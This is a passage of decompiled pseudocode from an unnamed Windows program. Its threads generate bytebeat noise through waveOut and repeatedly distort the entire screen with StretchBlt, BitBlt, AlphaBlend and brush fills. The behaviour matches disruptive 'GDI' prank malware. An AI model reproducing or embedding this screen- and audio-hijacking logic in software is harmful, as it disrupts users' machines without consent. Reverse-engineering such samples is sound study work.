v71 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp70) + 20);
waveOutUnprepareHeader(32, v71);
waveOutClose(32, 32, v71);
v72 = ebx56->fc * 0x3e8;
 Sleep(v72, 32, 32, v71);
eax73 = reinterpret_cast<struct s153*>(GetProcessHeap(0, edi65, v72, 32, 32, v71));
HeapFree();
ExitThread(0);
ebx74 = eax73;
esp75 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp70) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp76 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp75) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp76) + 32, 0xff,
reinterpret_cast<uint32_t>(esp75) + 60, 0, 0, 0, edi65, esi63, ebx56, 0);
v77 = ebx74->fc * 0x1f40;
eax78 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax79 = reinterpret_cast<void*>(HeapAlloc(eax78, 0));
esp80 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp76) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi81 = ebx74->fc;
ecx82 = 0;
edi83 = eax79;
if (esi81 * 0x1f40) {
do {
edx84 = reinterpret_cast<int32_t>(ecx82) >> 6;
eax85 = reinterpret_cast<int32_t>(ecx82) >> 8;
edx86 = reinterpret_cast<signed char>(reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(&edx84) & 63) | *reinterpret_cast<unsigned
char*>(&eax85)) * *reinterpret_cast<signed char*>(&ecx82);
*reinterpret_cast<signed char*>(ecx82 + reinterpret_cast<uint32_t>(edi83)) =
*reinterpret_cast<signed char*>(&edx86);
++ecx82;
esi81 = ebx74->fc;
} while (ecx82 < esi81 * 0x1f40);
}
esp87 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp80) - 4);
waveOutPrepareHeader(v77, reinterpret_cast<uint32_t>(esp87) + 20);
esp88 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp87) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp88) + 20);
esp89 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp88) - 4 - 4 - 4 + 4 - 4);
v90 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp89) + 20);
waveOutUnprepareHeader(32, v90);
waveOutClose(32, 32, v90);
v91 = ebx74->fc * 0x3e8;
Sleep(v91, 32, 32, v90);
eax92 = reinterpret_cast<struct s154*>(GetProcessHeap(0, edi83, v91, 32, 32, v90));
HeapFree();
ExitThread(0);
 ebx93 = eax92;
esp94 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp89) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp95 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp94) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp95) + 32, 0xff,
reinterpret_cast<uint32_t>(esp94) + 60, 0, 0, 0, edi83, esi81, ebx74, 0);
v96 = ebx93->fc * 0x1f40;
eax97 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax98 = reinterpret_cast<void*>(HeapAlloc(eax97, 0));
esp99 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp95) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi100 = ebx93->fc;
ecx101 = 0;
edi102 = eax98;
if (esi100 * 0x1f40) {
do {
edx103 = reinterpret_cast<int32_t>(ecx101) >> 8;
eax104 = reinterpret_cast<int32_t>(ecx101) >> 5;
edx105 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx103) &
*reinterpret_cast<unsigned char*>(&eax104)) * *reinterpret_cast<signed char*>(&ecx101);
*reinterpret_cast<signed char*>(ecx101 + reinterpret_cast<uint32_t>(edi102)) =
*reinterpret_cast<signed char*>(&edx105);
++ecx101;
esi100 = ebx93->fc;
} while (ecx101 < esi100 * 0x1f40);
}
esp106 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp99) - 4);
waveOutPrepareHeader(v96, reinterpret_cast<uint32_t>(esp106) + 20);
esp107 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp106) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp107) + 20);
esp108 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp107) - 4 - 4 - 4 + 4 - 4);
v109 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp108) + 20);
waveOutUnprepareHeader(32, v109);
waveOutClose(32, 32, v109);
v110 = ebx93->fc * 0x3e8;
Sleep(v110, 32, 32, v109);
eax111 = reinterpret_cast<void**>(GetProcessHeap(0, edi102, v110, 32, 32, v109));
HeapFree();
ExitThread(0);
esp112 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp108) - 4 - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4);
ebp113 = esp112;
ebx114 = eax111;
 esp115 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp112) & 0xfffffff8) - 60 -
4 - 4 - 4 - 4 - 4 - 4);
esp116 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp115) - 4 - 4);
v117 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp116) + 32);
waveOutOpen(v117, 0xff, reinterpret_cast<uint32_t>(esp115) + 60, 0, 0, 0, edi102, esi100,
ebx93, 0);
v118 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx114 + 12)) * 0x1f40);
eax119 = reinterpret_cast<void**>(GetProcessHeap(0));
v120 = eax119;
eax121 = reinterpret_cast<void**>(HeapAlloc(v120, 0));
esp122 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp116) - 4 - 4 + 4 - 4 - 4 - 4 + 4
- 4 - 4 + 4);
esi123 = *reinterpret_cast<void***>(ebx114 + 12);
ecx124 = reinterpret_cast<void**>(0);
edx125 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi123) * 0x1f40);
edi126 = eax121;
if (edx125) {
do {
edx127 = reinterpret_cast<signed char>(ecx124) >> 11;
eax128 = reinterpret_cast<signed char>(ecx124) >> 6;
edx125 = reinterpret_cast<void**>(reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&edx127) |
*reinterpret_cast<unsigned char*>(&eax128)) | *reinterpret_cast<unsigned char*>(&ecx124)) *
reinterpret_cast<uint32_t>(static_cast<int32_t>(*reinterpret_cast<signed char*>(&ecx124))));
*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(ecx124) +
reinterpret_cast<unsigned char>(edi126)) = *reinterpret_cast<signed char*>(&edx125);
++ecx124;
esi123 = *reinterpret_cast<void***>(ebx114 + 12);
} while (reinterpret_cast<unsigned char>(ecx124) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(esi123) * 0x1f40));
}
esp129 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp122) - 4);
v130 = edi126;
v131 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi123) * 0x1f40);
v132 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp129) + 20);
v133 = v118;
waveOutPrepareHeader(v133, v132);
esp134 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp129) - 4 - 4 - 4 + 4 - 4);
v135 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp134) + 20);
waveOutWrite(32, v135);
esp136 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp134) - 4 - 4 - 4 + 4 - 4);
v137 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp136) + 20);
waveOutUnprepareHeader(32, v137);
 waveOutClose(32, 32, v137);
v138 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx114 + 12)) * 0x3e8);
Sleep(v138, 32, 32, v137);
v139 = edi126;
eax140 = reinterpret_cast<void**>(GetProcessHeap(0, v139, v138, 32, 32, v137));
HeapFree();
ExitThread(0);
esp141 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp136) - 4 - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4);
v142 = ebp113;
ebp143 = esp141;
v144 = ebx114;
v145 = esi123;
v146 = edi126;
ebx147 = *reinterpret_cast<void***>(eax140 + 12);
eax164 = fun_401580(ecx124, v146, v145, v144, ecx124, v142, 0, eax140, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v148, v149, v150, v151, v152, v153, v154, v155, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124,
v146, v145, v144, ecx124, v142, 0, eax140, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v156, v157, v158, v159, v160,
v161, v162, v163, 0x10001, 0x1f40, 0x1f40, 0x80001);
esi165 = eax164;
edi166 = edx125;
v167 = esi165;
v168 = edi166;
eax185 = fun_401580(ecx124, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v169,
v170, v171, v172, v173, v174, v175, v176, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, v146,
v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32,
v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v177, v178, v179, v180, v181, v182, v183,
v184, 0x10001, 0x1f40, 0x1f40, 0x80001);
esp186 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp141 - 4) - 4 - 4 - 4 - 4 + 4 - 4
+ 4);
edx187 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx125) -
(reinterpret_cast<unsigned char>(edi166) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx125) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi166) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax185) < reinterpret_cast<unsigned
char>(esi165))))));
less188 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx187) <
reinterpret_cast<signed char>(0));
if (!reinterpret_cast<uint1_t>(less188 | reinterpret_cast<uint1_t>(edx187 == 0)))
goto addr_4020a5_17;
 if (less188) {
addr_402030_19:
eax189 = reinterpret_cast<void**>(GetDC(0));
edi166 = eax189;
eax206 = fun_402cd0(ecx124, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v190, v191, v192, v193, v194, v195, v196, v197, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v198, v199, v200, v201, v202,
v203, v204, v205, 0x10001, 0x1f40, 0x1f40, 0x80001);
edx207 = reinterpret_cast<void**>(eax206 % reinterpret_cast<unsigned char>(g417284));
esi165 = edx207;
eax224 = fun_402cd0(ecx124, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v208, v209, v210, v211, v212, v213, v214, v215, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v216, v217, v218, v219, v220,
v221, v222, v223, 0x10001, 0x1f40, 0x1f40, 0x80001);
edx225 = reinterpret_cast<void**>(eax224 % reinterpret_cast<unsigned char>(g417280));
v226 = edx225 + 0xfffffffe;
v227 = esi165 + 0xfffffffe;
StretchBlt(edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8, 0xcc0020,
0);
v228 = edi166;
v229 = reinterpret_cast<void**>(0);
ReleaseDC(0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8,
0xcc0020, 0);
Sleep(10, 0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8,
0xcc0020, 0);
eax230 = fun_401580(ecx124, 10, 0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165,
edx225, 0xc8, 0xc8, 0xcc0020, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, ecx124, 10,
0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8, 0xcc0020, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0);
esp186 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp186) - 4 - 4 + 4 - 4 + 4 - 4
+ 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf231 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax230) <
reinterpret_cast<unsigned char>(v167));
cf232 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx225) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v168) + cf231));
edx187 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx225) -
(reinterpret_cast<unsigned char>(v168) + cf232));
 if (reinterpret_cast<signed char>(edx187) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf232)))))
goto addr_402030_19;
if (reinterpret_cast<signed char>(edx225) > reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v168) + cf231))
goto addr_4020a5_17;
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax230) -
reinterpret_cast<unsigned char>(v167)) < reinterpret_cast<unsigned char>(ebx147))
goto addr_402030_19; else
goto addr_4020a5_17;
} else {
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax185) -
reinterpret_cast<unsigned char>(esi165)) >= reinterpret_cast<unsigned char>(ebx147)) {
addr_4020a5_17:
ExitThread(0);
esp233 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp186) - 4 - 4 + 4 - 4);
v234 = ebp143;
ebp235 = esp233;
v236 = ebx147;
v237 = esi165;
v238 = edi166;
ebx239 = *reinterpret_cast<void***>(v146 + 12);
v240 = ebx239;
eax249 = fun_401580(ecx124, v238, v237, v236, v240, 0xc8, 0xc8, v234, 0, v146, v145,
v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120,
0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v241, v242, v243, v244, ecx124, v238, v237, v236,
v240, 0xc8, 0xc8, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v245, v246,
v247, v248);
esi250 = eax249;
edi251 = edx187;
v252 = esi250;
v253 = edi251;
eax262 = fun_401580(ecx124, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145,
v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120,
0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v254, v255, v256, v257, ecx124, v238, v237, v236,
v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v258, v259,
v260, v261);
esp263 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp233 - 12) - 4 - 4 - 4 - 4
+ 4 - 4 + 4);
edx264 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx187) -
(reinterpret_cast<unsigned char>(edi251) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx187) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi251) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax262) < reinterpret_cast<unsigned
char>(esi250))))));
less265 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx264) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less265 | reinterpret_cast<uint1_t>(edx264 == 0)) &&
(less265 || reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax262) -
reinterpret_cast<unsigned char>(esi250)) < reinterpret_cast<unsigned char>(ebx239))) {
esi250 = reinterpret_cast<void**>(0x640000);
addr_4020f6_24:
eax266 = reinterpret_cast<void**>(GetDC(0));
ebx239 = eax266;
eax267 = reinterpret_cast<void**>(CreateCompatibleDC(ebx239, 0));
v227 = g417280;
v146 = eax267;
v268 = g417284;
v228 = ebx239;
eax269 = reinterpret_cast<void**>(CreateCompatibleBitmap(v228, v268, v227,
ebx239, 0));
edi251 = eax269;
v229 = edi251;
SelectObject(v146, v229, v228, v268, v227, ebx239, 0);
v270 = g417280;
v271 = g417284;
v272 = reinterpret_cast<void**>(0);
v273 = v146;
BitBlt(v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0);
v274 = reinterpret_cast<void**>(0xcc0020);
eax275 = fun_402cd0(ecx124, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, ecx124, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229,
v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120);
v276 = reinterpret_cast<void**>(eax275 % reinterpret_cast<unsigned char>(3));
eax277 = fun_402cd0(3, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, 3, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228,
v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32);
v278 = reinterpret_cast<void**>(eax277 % reinterpret_cast<unsigned char>(3));
v279 = g417280;
 v280 = g417284;
eax281 = fun_402cd0(3, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236,
v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 3, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135);
v282 = reinterpret_cast<void**>(eax281 % reinterpret_cast<unsigned char>(3));
eax283 = fun_402cd0(3, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237,
v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, 3, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239,
0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252,
v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32);
edx284 = reinterpret_cast<void**>(eax283 % 3);
v285 = ebx239;
BitBlt(v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
ecx124 = g417280;
eax286 = g417284;
v287 = reinterpret_cast<void**>(0x640000);
v288 = ecx124;
v289 = eax286;
v290 = reinterpret_cast<void**>(0);
AlphaBlend(ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288, 0x640000, v285,
edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v291 = ebx239;
ReleaseDC(0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288, 0x640000,
v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239,
0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v292 = v146;
DeleteDC(v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288,
0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v293 = edi251;
DeleteObject(v293, v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289,
v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v294 = reinterpret_cast<void**>(100);
Sleep(100, v293, v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289,
v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v295 = reinterpret_cast<void**>(0x4021eb);
 eax296 = fun_401580(ecx124, 100, v293, v292, 0, v291, ebx239, 0, 0, eax286,
ecx124, v146, 0, 0, v289, v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276,
0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0, v238, v237, v236, v240, ecx124, 100, v293, v292, 0, v291, ebx239, 0, 0, eax286,
ecx124, v146, 0, 0, v289, v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276,
0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0, v238, v237, v236, v240);
esp263 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp263) - 4 - 4 + 4 - 4 -
4+4-4-4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4+4-4-4+4-4
-4-4-4-4+4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4-4-4+4-4-4-4+
4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf297 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax296) <
reinterpret_cast<unsigned char>(v252));
cf298 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx284) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v253) + cf297));
edx264 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx284) -
(reinterpret_cast<unsigned char>(v253) + cf298));
if (reinterpret_cast<signed char>(edx264) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf298)))))
goto addr_4020f6_24;
if (reinterpret_cast<signed char>(edx284) > reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v253) + cf297))
goto addr_402202_26;
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax296) -
reinterpret_cast<unsigned char>(v252)) < reinterpret_cast<unsigned char>(v240))
goto addr_4020f6_24;
}
} else {
goto addr_402030_19;
}
}
addr_402202_26:
ExitThread(0);
esp299 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp263) - 4 - 4 + 4 - 4);
v300 = ebp235;
ebp301 = esp299;
v302 = ebx239;
v303 = esi250;
v304 = edi251;
ebx305 = *reinterpret_cast<void***>(v238 + 12);
v306 = ebx305;
eax307 = fun_401580(ecx124, v304, v303, v302, v229, v228, v306, v227, v300, 0, v238,
v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138,
32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, ecx124,
v304, v303, v302, v229, v228, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0);
esi308 = eax307;
edi309 = edx264;
v310 = esi308;
v311 = edi309;
eax312 = fun_401580(ecx124, v304, v303, v302, v310, v311, v306, v227, v300, 0, v238,
v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138,
32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, ecx124,
v304, v303, v302, v310, v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0);
esp313 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp299) & 0xfffffff8) - 12 -
4 - 4 - 4 - 4 + 4 - 4 + 4);
edx314 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx264) -
(reinterpret_cast<unsigned char>(edi309) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx264) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi309) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax312) < reinterpret_cast<unsigned
char>(esi308))))));
less315 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx314) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less315 | reinterpret_cast<uint1_t>(edx314 == 0)) && (less315 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax312) -
reinterpret_cast<unsigned char>(esi308)) < reinterpret_cast<unsigned char>(ebx305))) {
ebx305 = BitBlt;
do {
esi308 = reinterpret_cast<void**>(0);
do {
eax316 = reinterpret_cast<void**>(GetDC(ecx124, 0));
ecx124 = esi308;
edi309 = eax316;
eax317 = fun_402cf0(ecx124, 0, v304, v303, v302, v310, v311, v306, v227, v300, 0,
ecx124, 0, v304, v303, v302, v310, v311, v306, v227, v300, 0);
eax318 = reinterpret_cast<void**>(CreateSolidBrush(ecx124, eax317, 0));
SelectObject(ecx124, edi309, eax318, eax317, 0);
v272 = reinterpret_cast<void**>(0x922222);
v273 = reinterpret_cast<void**>(0);
v274 = edi309;
v276 = g417280;
v278 = g417284;
ebx305(ecx124, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318,
eax317, 0);
 v285 = reinterpret_cast<void**>(0);
v287 = edi309;
v288 = g417280;
v289 = g417284;
ebx305(ecx124, edi309, 0, 1, v289, v288, v287, 0, 0, 0x922222, edi309, 1, 0, v278,
v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0);
v290 = edi309;
v319 = g417280;
v291 = g417284;
v292 = reinterpret_cast<void**>(0xff);
v293 = edi309;
ebx305(ecx124, v293, 0xff, 0, v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289,
v288, v287, 0, 0, 0x922222, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318,
eax317, 0);
v294 = reinterpret_cast<void**>(0x922222);
v295 = reinterpret_cast<void**>(0);
v320 = edi309;
v321 = g417280;
